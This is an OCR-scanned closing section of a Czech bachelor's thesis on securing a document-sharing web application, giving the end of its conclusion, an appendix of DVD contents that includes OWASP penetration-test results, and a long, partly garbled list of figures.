implementovana paginace pro vyhledavané dokumenty a uzivatele. Podpora vice typti soubori
by mohla byt velmi uzitecna. Bylo by rozumné pouzit siln€jsi politiku hesla a nasadit

vhodnéjsi antivirovy program.
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7. P¥ilohy

. Obsah DVD

bp.pdf — text bakalarské prace

slozka penetracni_testy obsahuje vysledky penetracnich testi. Nachazi se
zde slozka sql_injection, ktera obsahuje testy tykajici se testu OTG-
INPVAL-005. Soubor xss_payload.txt obsahuje fetézce pouzité k testovani
testu OTG-INPVAL-001 a OTG-INPVAL-002. Soubor ssl-test.txt obsahuje
vysledky testt OTG-CRYPST-001 a OTG-CRYPST-002. Soubor

penetracni_testy.docx obsahuje popis provedenych testli a nerelevantnich

testd.

slozka backend obsahuje zdrojovy kod REST serveru (Intellij IDEA
project)

slozka pre_final obsahuje zdrojovy kod scriptu bundle.js

slozka web_server obsahuje vSechny soubory pouZivané na webovém

serveru 1S a tedy i na frontendu (HTML, CSS, JS, web.config, obrazky)

Il. Seznam obrazku

Obrazek 1: UML use case diagram ..........cccoieiiiiiiiiiiiii i 2
Obrazek 2: Relaéni model databaze ..........ccooveiiiiiiiiiii e 4
Obrazek 3: Pouzivané role, stavy a polozky v tabulce sharing type..........ccccovvivernrnn. 4
Obrazek 4 Architektura apliKace..........ccoviiiiiiiiiiic e 6
Obrazek 5: Certifikat SETVETU .....c.uuiiiiii i 7
Obrazek 6: Ulozené heslo v databazi..........coceeiiiiiiiiiiiiicce e 8
Obrazek 7: Password Credentials FIOW [23]......c.coiiiiiiiiiiiiiieee e 9
Obrazek 8: Zakazané metody na webovém serveru IIS...........ccocoviiiiiin, 12
Obrazek 9: Hlavicky REST SEIVETIU......c.covviiiiiiiiiiic e 13
Obrazek 10: Pouzivané balicky na REST SErveru .........ccoccvvveiiiiiiiciiiiscnecceee 16
Obréazek 11: Frontendova SI0ZKa.........ccciiiiiiiiiiii e 17
Obrazek 12: Script BUNAIE.JS .....ooviiiiiiiei e 18
Obrazek 13: Testovani validity tOKENU ........c.cviiiiiiiiiiiiee e 19
Obrazek 14: DekOdoVANT tOKENU. .......cciuiiiiiiiieiie e 19
Obrazek 15: JPQL dotaz pro ziskani vSech sdilenych dokumentt s uzivatelem.......... 20
Obrazek 16: Metoda COMPATE .......eciiiviiiiiiiiiiie i 20



Obrazek 17: Pouziti KOMPATAtOTU .......ccovviiiiiieiiiie i 20
Obrazek 18: Nacteny dokument k odsouhlaseni..........cocccvvviviiiiiniiiiniiic e, 21
Obrazek 19: Generovani PDF dOKUMENTU .......cocviiiiiiiiiiieiieiiee e 21
Obrazek 20: Poslani PDF dOKUMENTU........ccoiiiiiiiiiiicce e 22
Obrazek 21: Zpracovani PDF SOUDOTU.........ccccoiiiiiiiiiiiiiii e 22
Obrazek 22: End-point PUT /dOCUMENTS ........cccoiiieiieireie e 23
Obrazek 23: Schvalovani dokumentu 1 .........ccoooviiiiiiiiie e 23
Obrazek 24: Schvalovani dOKUMENTU 2 ........cuiiiiiiiiiiii e 24
Obrazek 25: Nahrani dOKUMENTU .......eoiiiiiiiriiiiiie et 24
Obrazek 26: End-point /documents POST ..o 24
Obrazek 27: Metoda WIILE.......cuueiiiiiieiie ettt 25
Obrazek 28: Vytvorené slozky aplikaci ..........ccoovviiiiiiiiiiiiceeesee e 25
Obrazek 29: Metoda encryptEile........o.coiiiiiiiiiiiiiei e 26
Obrézek 30: Ulozeni dokumentu do databaze ...........ccccoviveiieiiiiiiiiic e 26
Obrazek 31: Poslany email aplikaci o novém dokumentu...........cccooeviiiiiiininiiinnn, 26
Obrazek 32: JPQL dotaz pro vyhledani dokumentu podle titulu..........ccccooeiiiininnnnnnn. 27
Obrazek 33: Vyhledavani podle mésice a TOKU..........cocvriiiiininiiiiicce e 27
Obrazek 34: JPQL dotaz pro ziskani sdilenych dokumentti v ur¢itém obdobi............. 28
Obrazek 35: Vyhledavani vlastnich dokumentil ............ccocvviiiiiiiiii, 28
Obrazek 36: JPQL dotaz pro ziskani uzivatelovych dokumentii ............c.cocoeninnnennen. 28
Obrazek 37: Vysledky schvalovAni...........cccooviiiiiiiiiie e 29
Obrézek 38: DELETE tlacitko u dokumentu..........ccoceiiiiiiiiiiiiiiiee e 30
Obréazek 39: Smazani dOKUMENTU .........cooiiiiiiii e 30
Obrazek 40: Blokace expirovanych dokumentll ............cccovevviriiiiciiieniec e 31
Obrazek 41: JPQL dotaz pro ziskani expirovanych dokumentii.............ccocoveriiinnnnn. 31
Obrazek 42: Rozeslani emailli o novych dostupnych dokumentech.............cccccveeenne. 31
Obrazek 43: JPQL dotaz pro ziskani novych dokumentii............ccoooeriiiiiiiiiiiiinnn, 32
Obrazek 44: Poslani emailu a ziskani objektu typu JavaMailSender ..............cccoceenen. 32
Obrazek 45: Konfigurace emailové komunikace pro Gmail SMTP Server.................. 32
Obrazek 46: Registrace KIenta ..o 33
Obrazek 47: Aktualizace UZIVatele..........ocoveiiiiiiiiiii e 33
Obrazek 48: Hledani uZivatele podle jmeéna .........ccccveeviiiniiiiiiiieiie e 34
Obrazek 49: JPQL dotaz pro ziskani uzivateli podle piijmeni.........ccccocvvvviieiiieennnen. 34
Obrazek 50: Update a Deactivate tlacitka...........ccooiiiiiiiiiiiiiie 34

84



Obrazek 51: Deaktivace uZivatele..........coooviiiiiiiiiiiiii 35
Obrazek 52: Vysledek vyhledavani ..........cccccviiiiiiiiiiiii e 35
Obrazek 53: UloZeni SKUPINY ......ccviriiiiriiiiiiiciieesee s 35
Obrazek 54: AKtualizace SKUPINY ......occveiiiiiiiiiiiiiiece s 36
Obrazek 55: SMAazani SKUPINY.....vviiiiiiiiiie i 36
Obrazek 56: OdhIASEN......c..eviiiiiiiiie s 37
Obrazek 57: AULOTIZACNT SETVET ....veiveiiiiiiierireeiee sttt 37
Obrazek 58: TokenStore u autorizanino SETVETU.......ccoviiviiiiiriiieieiee e 38
Obrazek 59: Asymetrické podepsani JWT na strané autorizac¢niho serveru................. 38
Obrazek 60: Konfigurace end-pointil autorizacniho SErveru ..........cccovvviiiciinicinnn, 38
Obrazek 61: OVETENT POAPISU ...eeruriiiieiiiiiiie ettt 39
Obrazek 62: JwtTokenStore a metoda CONTIGUIE .........coviiiiiiiiieieeee e 39
Obrazek 63: HTTP DEZPECNOSE ...c.vvvvviiiiiieiiiieesieee et 40
Obrazek 64: Anotace tiidy SecurityConfig.........cccvviiiiiiiiiiiiii 40
Obrazek 65: Metoda globalUserDetails ..........ccccoviiiiiiiiiiiii 40
Obrazek 66: Vraceni objektu typu USET........cooveiiiiiiiiiiiiciiesece s 41
Obrazek 67: Nastaveni HTTPS ... 41
Obréazek 68: Autentizani ZAAOSE .......cevviiiiieiiieiie e 41
Obrazek 69: ObdrZena data po USpESNE aULENtIZACT .....ccvvvviiiveiiiiiiicie e 42
Obrazek 70: Kontrola tOKeNU .........coouiiiiiiiiiie e 43
Obrazek 71: Chranény zdroj anotaci @Secured ..........cccooveveeiiieneciiienee e 43
Obrazek 72: Bean €NCOAET ........coiuuiiiiiiiiiiiieiie ettt 44
Obrazek 73: Vytvoreni UZIVALElE .........coiiiiiiiiiiiiii s 44
Obrazek 74: Pozadavky Na heslo .......ccccviiiiiiiiiiiii e 44
Obrazek 75: Autentizace UZIVALELE.........coooviiiiiiii i 44
Obrazek 76: Zmena hesla.........coouiiiiiiiiiiice s 45
Obrazek 77: Globalni reakce na vyjimku .......ccccovviiiiiiiiiiic e 45
Obrazek 78: ResponseStatusEXCEPLION..........c.vviviiiiiiiiiiicee e 45
Obrazek 79: Nastaveni CORS ... 46
Obrazek 80: Vypnuti actuator end-pointill...........ccocueiieiiiiiiieiiicc e 46
Obrazek 81: Vytvoreni instance tfidy LOZEer........ccvviiiiiiiiiiiiiiicee 46
Obrazek 82: Zapis informace do IoZU........occvviiiiiiiiiiii e 47
Obrazek 83: Globalni 10ZOVACT SOUDOT ......cccvviiiiiieiiiieiie e 47
Obrazek 84: Zasifrovani a ulozeni dokumentu..........ccccoovveiiiiiiiiiiiiesee e 47

85



Obrazek 85: DeSifrovaci metoda..........ccovviiiiiiiiiiiiiii 47
Obrazek 86: Zakazan€ MEtOAY ........ccvuviiiiiiiiiiie it 48
Obrazek 87: Validace JMENA .......cccoeviiiiiiiiiiiieiic s 48
Obrazek 88: Validace hesla pomoci vlastni anotace..........ccccevvveieiiiieniniiie e, 48
Obrézek 89: Validace roKu @ MESICE.......ooiuviiriiiiiiiieiie e 48
Obrazek 90: Parametr IoNg........ccvviiiiiiiiiieiiiie e 49
Obréazek 91: Validace datumuU..........ceeiiiiiiiiiiiiee e 49
Obrazek 92: Validace typu dOKUMENTU. ........cooviiiiiiiiiiiieic s 49
Obrazek 93: Validace tItUIU .....eevviiiiiiiieee e 50
Obrazek 94: Parametrizované dotazy..........ccoovviiiiiiiiiiiii e 50
Obrazek 95: Metoda loginFailed..........cccoovvviiiiiiiiiii e, 51
Obrazek 96: Kontrola blokace IP adresy ........cccoovvvviiieiiiiiiieicc e 51
Obrazek 97: Autentizani ZAAOSE .......eevviiiiriiiiiie et 51
Obréazek 98: BEZNna ZAAOSt NA SETVET ......veiiieiiiiiiie ettt 52
Obrazek 99: Zachyceni chyby 401.......cccooiiiiiiiiii 52
Obrazek 100: Zadost 0 NOVY PHStUPOVY tOKEN ......vevvrverererrcecieeeeeeeeeseesee s 53
Obrazek 101: Chyba 40T .....c.ooiiiiiiieiee e 53
Obrazek 102: OdRIASENT ........oiiiiiiiiiiiei e 54
Obréazek 103: Metoda INHTMLDaAta..........ccoouiiiiiiiieiieeeee e 54
Obrazek 104: Metoda inDoubleQUOted AT .........ceeviiiiiiiii e 54
Obrazek 105: Vypnuti atributu autocoOmplete ..........ccvvviieiiiiiiiiieiieecee e 54
Obrazek 106: Kontrola dat pomoci regularniho vyrazu..........cccoeviieniiiiiiiiiniiien, 55
Obrazek 107: Zakazané direCtory BroWSING .......cooerereieneiinienieieee e 55
Obrazek 108: Nastaveni STHTOVANT .........occviiiiiiiiiecie s 56
Obrazek 109: Hodnota maxURL .........coooiiiiiiiiiiieiie e 56
Obrazek 110: Konfigurace hlavicky server [21]. ... 57
Obrazek 111: Bezpecnostni hlavicky na webovém serveru IS..............ccoooviiiiiinn, 57
Obrazek 112: Reakce na chyby — WeboVY SEIVET ......cccovviiiiiiiiiiccee e 58
Obrazek 113: Test OTG-INFO-002, prvni ZAOSt .......ccveveieeiiiieiieieeeseeseee e 58
Obrazek 114: Test OTG-INFO-002, druha Zadost...........ccooviiiriiiiiiiec e 59
Obrazek 115: OTG-INFO-008..........ccccoiiiiiiiieicie e 60
Obrazek 116: Otisk webove apliKace.........oocvieiiiiiiiiiiiii e 60
Obrazek 117: OPTIONS — webovy server IS ... 61
Obrazek 118: OTG-CONFIG-006, druha CASt.........cccvriiiiiiiiiicic e 62

86



Obrézek 119:
Obrézek 120:
Obrazek 121:
Obrazek 122:
Obrézek 123:
Obrézek 124:
Obrézek 125:
Obrazek 126:
Obrazek 127:
Obrézek 128:
Obrézek 129:
Obrazek 130:
Obrazek 131:
Obrézek 132:
Obrézek 133:
Obrazek 134:
Obrazek 135:
Obrézek 136:
Obrézek 137:
Obrazek 138:
Obrazek 139:
Obrézek 140:
Obrézek 141:

OTG-CONFIG-007 ..ottt 62
OTG-AUTHN-00L ... 64
OTG-AUTHN-003 ... 64
OTG-AUTHN-004 ..o 65
Potencionalné nebezpecné prepinani stranek ...........ccccevvveiiiveiiiennninen. 66
OTG-AUTHZ-00L.....c.ei i 66
OTG-AUTHZ-002, Prvni CASt.....ccvveeiiiieiieeieiie e 66
OTG-AUTHZ-002, druhd CASt .....cvevveiviriiiiiiisieiieieeee e 67
OTG-AUTHZ-002, tFeti CASt....eeverereireieeieesiesieseseeieeese e 67
OTG-AUTHZ-002, CtVITA CAST .vvevvereiririeiiisiesieseseeeeeesre e 67
OTG-AUTHZ-003.......oooiiiiieieeeee e 68
OTG-AUTHZ-004, Pryni CASt...c.eeveeeiiiieiiisiisiesieeee e 68
OTG-AUTHZ-004, druhd CASt .....ccveiveiviiiiiiiiriesieeeeee e 68
OTG-INPVAL-005.......cciiiiiiieieieee e 70
SQIMAP PITKAZ...eevvviiiiiie i 70
Velikosti vyslednych souborti s ZAdoStmi .........cccceereveiiiiiiinieiiie e 71
UHOGNY SCIIPL w.vocvecveeeceereeeee et testereeeeesee e see s s, 72
OTG-ERR-00L ...ttt 72
OTG-BUSLOGIC-009 .......coiiiiieieieieiesiesese e 75
OTG-CLIENT-007 ..ottt 76
OTG-CLIENT-009 ......coiiitiitiiisiisiisiieeee et 76
ODbsah SESSIONSLOTAZE ......eeivieiriiiieiiieii e 76
Pouzity algoritmus u toKenl...........cceeviviiiiiiiiiiiic e 77

87



